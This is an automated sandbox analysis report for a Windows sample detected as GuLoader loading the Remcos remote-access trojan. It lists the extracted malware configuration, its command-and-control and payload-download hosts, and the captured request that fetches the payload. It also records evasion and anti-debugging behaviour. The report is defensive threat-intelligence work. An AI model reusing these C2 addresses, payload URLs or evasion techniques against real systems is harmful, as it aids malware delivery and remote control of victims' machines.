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Windows Analysis Report DW1VgsgHNU.exe

Overview

General Information

Sample Name:	DW1VgsgHNU.exe
Analysis ID:	491400
MD5:	b30b9c1d23026ff24f234a07a557dc83
SHA1:	044ceea8b2fb554e2fdd7bcf4d695dded3a58d3b
SHA256:	c54b1a3af48ef7f70434b9e90c33b4bcdccfbd20339d8164e34957890c67f888
Tags:	exeRemcosRAT
Infos:
Most interesting Screenshot:

Detection

GuLoader Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Potential malicious icon found

Multi AV Scanner detection for submitted file

GuLoader behavior detected

Yara detected Remcos RAT

Yara detected GuLoader

Hides threads from debuggers

Tries to detect Any.run

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Uses dynamic DNS services

Uses 32bit PE files

Sample file is different than original file name gathered from version info

PE file contains strange resources

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Detected TCP or UDP traffic on non-standard ports

Internet Provider seen in connection with other malware

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Uses Microsoft's Enhanced Cryptographic Provider

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Abnormal high CPU Usage

Classification

Process Tree

System is w10x64

DW1VgsgHNU.exe (PID: 6420 cmdline: 'C:\Users\user\Desktop\DW1VgsgHNU.exe' MD5: B30B9C1D23026FF24F234A07A557DC83)

DW1VgsgHNU.exe (PID: 2800 cmdline: 'C:\Users\user\Desktop\DW1VgsgHNU.exe' MD5: B30B9C1D23026FF24F234A07A557DC83)

cleanup

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "dyn-wave.duckdns.org:1144:1dyn-wave.duckdns.org:2404:0", "Assigned name": "RemoteHost_NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-2LBKGP", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}

Threatname: GuLoader

{"Payload URL": "http://dypage.duckdns.org/remcos_d_QUBXVO174"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000001.00000002.499884696.00000000005A0000.00000040.00000001.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: DW1VgsgHNU.exe PID: 2800	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Sigma Overview

No Sigma rule has matched

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	Malware Configuration Extractor: Remcos {"Host:Port:Password": "dyn-wave.duckdns.org:1144:1dyn-wave.duckdns.org:2404:0", "Assigned name": "RemoteHost_NEW", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-2LBKGP", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "notepad;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "20000"}
Source: 00000001.00000002.499884696.00000000005A0000.00000040.00000001.sdmp	Malware Configuration Extractor: GuLoader {"Payload URL": "http://dypage.duckdns.org/remcos_d_QUBXVO174"}

Multi AV Scanner detection for submitted file

Show sources

Source: DW1VgsgHNU.exe

Virustotal: Detection: 20%

Perma Link

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DW1VgsgHNU.exe PID: 2800, type: MEMORYSTR

Machine Learning detection for sample

Show sources

Source: DW1VgsgHNU.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Code function: 1_2_00402520 CryptDestroyHash,

Source: DW1VgsgHNU.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor	URLs: dyn-wave.duckdns.org
Source: Malware configuration extractor	URLs: http://dypage.duckdns.org/remcos_d_QUBXVO174

Uses dynamic DNS services

Show sources

Source: unknown	DNS query: name: dypage.duckdns.org
Source: unknown	DNS query: name: dyn-wave.duckdns.org

Source: global traffic

HTTP traffic detected: GET /remcos_d_QUBXVO174.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: dypage.duckdns.orgCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.2.7:49893 -> 23.146.241.70:1144

Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS
Source: Joe Sandbox View	ASN Name: VDI-NETWORKUS VDI-NETWORKUS

Source: Joe Sandbox View

IP Address: 23.146.242.85 23.146.242.85

Source: DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	String found in binary or memory: http://dypage.duckdns.org/remcos_d_QUBXVO174.bin
Source: DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	String found in binary or memory: http://dypage.duckdns.org/remcos_d_QUBXVO174.binD
Source: DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	String found in binary or memory: http://dypage.duckdns.org/remcos_d_QUBXVO174.binE

Source: unknown

DNS traffic detected: queries for: dypage.duckdns.org

Source: global traffic

HTTP traffic detected: GET /remcos_d_QUBXVO174.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: dypage.duckdns.orgCache-Control: no-cache

E-Banking Fraud:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DW1VgsgHNU.exe PID: 2800, type: MEMORYSTR

System Summary:

Potential malicious icon found

Show sources

Source: initial sample

Icon embedded in PE file: bad icon match: 20047c7c70f0e004

Source: DW1VgsgHNU.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: DW1VgsgHNU.exe, 00000001.00000000.242528368.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSrklasse4.exe vs DW1VgsgHNU.exe
Source: DW1VgsgHNU.exe, 00000019.00000000.498515700.000000000042D000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSrklasse4.exe vs DW1VgsgHNU.exe
Source: DW1VgsgHNU.exe	Binary or memory string: OriginalFilenameSrklasse4.exe vs DW1VgsgHNU.exe

Source: DW1VgsgHNU.exe

Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056EED3 Sleep,NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056ED3B NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056EDD4 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056ED50 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056EF19 NtProtectVirtualMemory,
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 25_2_0056ED2E NtProtectVirtualMemory,

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Process Stats: CPU usage > 98%

Source: DW1VgsgHNU.exe

Virustotal: Detection: 20%

Source: DW1VgsgHNU.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Section loaded: C:\Windows\SysWOW64\msvbvm60.dll

Source: unknown	Process created: C:\Users\user\Desktop\DW1VgsgHNU.exe 'C:\Users\user\Desktop\DW1VgsgHNU.exe'
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process created: C:\Users\user\Desktop\DW1VgsgHNU.exe 'C:\Users\user\Desktop\DW1VgsgHNU.exe'
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process created: C:\Users\user\Desktop\DW1VgsgHNU.exe 'C:\Users\user\Desktop\DW1VgsgHNU.exe'

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Mutant created: \Sessions\1\BaseNamedObjects\Remcos-2LBKGP

Source: classification engine

Classification label: mal100.rans.troj.evad.winEXE@3/0@2/2

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match

File source: 00000001.00000002.499884696.00000000005A0000.00000040.00000001.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 1_2_00409ABA pushad ; iretd
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Code function: 1_2_00407B13 push ecx; retf

Source: initial sample

Static PE information: section name: .text entropy: 6.92804161947

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Tries to detect Any.run

Show sources

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File opened: C:\Program Files\qga\qga.exe
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	File opened: C:\Program Files\qga\qga.exe

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

System information queried: ModuleInformation

Source: DW1VgsgHNU.exe, 00000019.00000002.767758753.00000000009A1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW
Source: DW1VgsgHNU.exe, 00000019.00000002.767758753.00000000009A1000.00000004.00000020.sdmp	Binary or memory string: Hyper-V RAW,

Anti Debugging:

Hides threads from debuggers

Show sources

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\Desktop\DW1VgsgHNU.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\DW1VgsgHNU.exe

Process created: C:\Users\user\Desktop\DW1VgsgHNU.exe 'C:\Users\user\Desktop\DW1VgsgHNU.exe'

Source: DW1VgsgHNU.exe, 00000019.00000002.768074297.0000000000ED0000.00000002.00020000.sdmp	Binary or memory string: uProgram Manager
Source: DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	Binary or memory string: Program Manager
Source: DW1VgsgHNU.exe, 00000019.00000002.768074297.0000000000ED0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: DW1VgsgHNU.exe, 00000019.00000002.768074297.0000000000ED0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: DW1VgsgHNU.exe, 00000019.00000002.768074297.0000000000ED0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: DW1VgsgHNU.exe, 00000019.00000002.767758753.00000000009A1000.00000004.00000020.sdmp	Binary or memory string: \|Program Manager\|
Source: DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	Binary or memory string: Program ManagerY

Stealing of Sensitive Information:

GuLoader behavior detected

Show sources

Source: Initial file

Signature Results: GuLoader behavior

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DW1VgsgHNU.exe PID: 2800, type: MEMORYSTR

Remote Access Functionality:

Yara detected Remcos RAT

Show sources

Source: Yara match	File source: 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DW1VgsgHNU.exe PID: 2800, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion2	OS Credential Dumping	Security Software Discovery21	Remote Services	Data from Local System	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	Process Discovery1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Ingress Tool Transfer1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	System Information Discovery2	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol212	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
DW1VgsgHNU.exe	20%	Virustotal		Browse
DW1VgsgHNU.exe	100%	Joe Sandbox ML

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://dypage.duckdns.org/remcos_d_QUBXVO174.bin	0%	Avira URL Cloud	safe
dyn-wave.duckdns.org	0%	Avira URL Cloud	safe
http://dypage.duckdns.org/remcos_d_QUBXVO174.binE	0%	Avira URL Cloud	safe
http://dypage.duckdns.org/remcos_d_QUBXVO174.binD	0%	Avira URL Cloud	safe
http://dypage.duckdns.org/remcos_d_QUBXVO174	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dypage.duckdns.org	23.146.242.85	true	true		unknown
dyn-wave.duckdns.org	23.146.241.70	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://dypage.duckdns.org/remcos_d_QUBXVO174.bin	false	Avira URL Cloud: safe	unknown
dyn-wave.duckdns.org	true	Avira URL Cloud: safe	unknown
http://dypage.duckdns.org/remcos_d_QUBXVO174	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://dypage.duckdns.org/remcos_d_QUBXVO174.binE	DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown
http://dypage.duckdns.org/remcos_d_QUBXVO174.binD	DW1VgsgHNU.exe, 00000019.00000002.767385154.0000000000948000.00000004.00000020.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
23.146.241.70	dyn-wave.duckdns.org	Reserved		46664	VDI-NETWORKUS	true
23.146.242.85	dypage.duckdns.org	Reserved		46664	VDI-NETWORKUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	491400
Start date:	27.09.2021
Start time:	14:52:48
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 40s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	DW1VgsgHNU.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	29
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@3/0@2/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 73.1% (good quality ratio 35.6%) Quality average: 25.5% Quality standard deviation: 32.4%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 23.54.113.53, 95.100.54.203, 20.82.209.183, 20.54.110.249, 40.112.88.60, 23.10.249.26, 23.10.249.43, 20.82.210.154 Excluded domains from analysis (whitelisted): iris-de-prod-azsc-neu.northeurope.cloudapp.azure.com, fs.microsoft.com, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, neu-displaycatalogrp.useroor.bigcatalog.commerce.microsoft.com, ris-prod.trafficmanager.net, asf-ris-prod-neu.northeurope.cloudapp.azure.com, store-images.s-microsoft.com-c.edgekey.net, e1723.g.akamaiedge.net, iris-de-prod-azsc-neu-b.northeurope.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, arc.trafficmanager.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
23.146.241.70	7HHrcwZjLI.exe	Get hash	malicious	Browse
23.146.242.85	7HHrcwZjLI.exe	Get hash	malicious	Browse	dypage.duckdns.org/remcos_d_QUBXVO174.bin
	466XoziOLD.exe	Get hash	malicious	Browse	sopage.duckdns.org/Remcos_s_bChlcwVW46.bin
	hVlpEajflR.exe	Get hash	malicious	Browse	spage.duckdns.org/Remcos_S_tGNeLX139.bin
	0rUkHCgvVf.exe	Get hash	malicious	Browse	dpage.duckdns.org/remcos_d_fIqfwC80.bin
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	dyn-bin.duckdns.org/remcos_d_fIqfwC80.bin
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	sol-bin.duckdns.org/Remcos_S_tGNeLX139.bin

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
dypage.duckdns.org	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
dyn-wave.duckdns.org	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.241.70

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94
VDI-NETWORKUS	7HHrcwZjLI.exe	Get hash	malicious	Browse	23.146.242.85
	466XoziOLD.exe	Get hash	malicious	Browse	23.146.242.85
	hVlpEajflR.exe	Get hash	malicious	Browse	23.146.242.85
	0rUkHCgvVf.exe	Get hash	malicious	Browse	23.146.242.85
	HxXHmM0T9f.exe	Get hash	malicious	Browse	23.146.242.147
	JQPFEy9Ekx.exe	Get hash	malicious	Browse	23.146.242.85
	http___sowork.duckdns.org_11d_solex.exe	Get hash	malicious	Browse	23.146.242.85
	eXik5mFvet.exe	Get hash	malicious	Browse	23.146.242.94
	CVEXzxk43s.exe	Get hash	malicious	Browse	23.146.242.94
	yOCBr7SNLJ.exe	Get hash	malicious	Browse	23.146.242.94
	13FlI4deWN.exe	Get hash	malicious	Browse	23.146.242.94
	Payment Notification.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Payment Notification.scr.exe	Get hash	malicious	Browse	23.146.242.147
	Request For Quotation.jar	Get hash	malicious	Browse	23.146.242.147
	OvBS76pTyX.exe	Get hash	malicious	Browse	23.146.242.94
	U6lqJJBG8S.exe	Get hash	malicious	Browse	23.146.242.94
	pNyAinWdWJ.exe	Get hash	malicious	Browse	23.146.242.94
	YTVrQC7FhG.exe	Get hash	malicious	Browse	23.146.242.94
	I4eRfFgJG7.exe	Get hash	malicious	Browse	23.146.242.94

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.693618961961531
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	DW1VgsgHNU.exe
File size:	184320
MD5:	b30b9c1d23026ff24f234a07a557dc83
SHA1:	044ceea8b2fb554e2fdd7bcf4d695dded3a58d3b
SHA256:	c54b1a3af48ef7f70434b9e90c33b4bcdccfbd20339d8164e34957890c67f888
SHA512:	80f9e5c0df30a6937450a35531b5be188c98a911703c30064575b1f6707ebeed98643f0166e689fa54ee5e17c232b9825fcdc6d13cb62ad89f22ef6883124bc3
SSDEEP:	3072:aTN6q3h21LWcznBUcxYIBpafjJJUB/yu0d/eWjUUqdj/WHA:aTyttVBwbbGyjeWjp
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L.....xH.....................0......`.............@................

File Icon


Icon Hash:	20047c7c70f0e004

Static PE Info

General
Entrypoint:	0x401460
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x487895E2 [Sat Jul 12 11:30:42 2008 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	831c9926df4754b736e1ca092f4fb7e7

Entrypoint Preview

Instruction
push 004016B8h
call 00007FE2A8EDA4F3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
test byte ptr [edx-47h], cl
or eax, dword ptr [edx+eax*2-2B734EBAh]
cld
xchg eax, esp
fsubr dword ptr [esi+0000003Dh]
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+71h], bl
push cs
add eax, dword ptr [ecx+52h]
inc ebp
inc ecx
dec esp
inc edx
inc ebp
push edx
inc ebp
inc edi
dec esi
dec ecx
dec esi
inc edi
inc ebp
dec esi
add byte ptr [edi], al
inc ecx
add byte ptr [ecx+esi*2+0000030Eh], cl
add byte ptr [eax], al
dec esp
xor dword ptr [eax], eax
add esp, dword ptr [ebx+7E6E97A6h]
mov ebp, E69A43FEh
jbe 00007FE2A8EDA524h
adc byte ptr [ebx+26886F8Bh], ah
xor dword ptr [edi+37h], esp
jnle 00007FE2A8EDA544h
nop
adc eax, 398128CEh
salc
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
scasd
add byte ptr [eax], al
add byte ptr [eax+00h], dl
add byte ptr [eax], al
add byte ptr [eax+eax], cl
inc esi
dec edi
push edx
push esp
dec edx
inc ebp
dec esi
inc ebp
push ebx
push esp
inc ebp

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2a214	0x28	.text
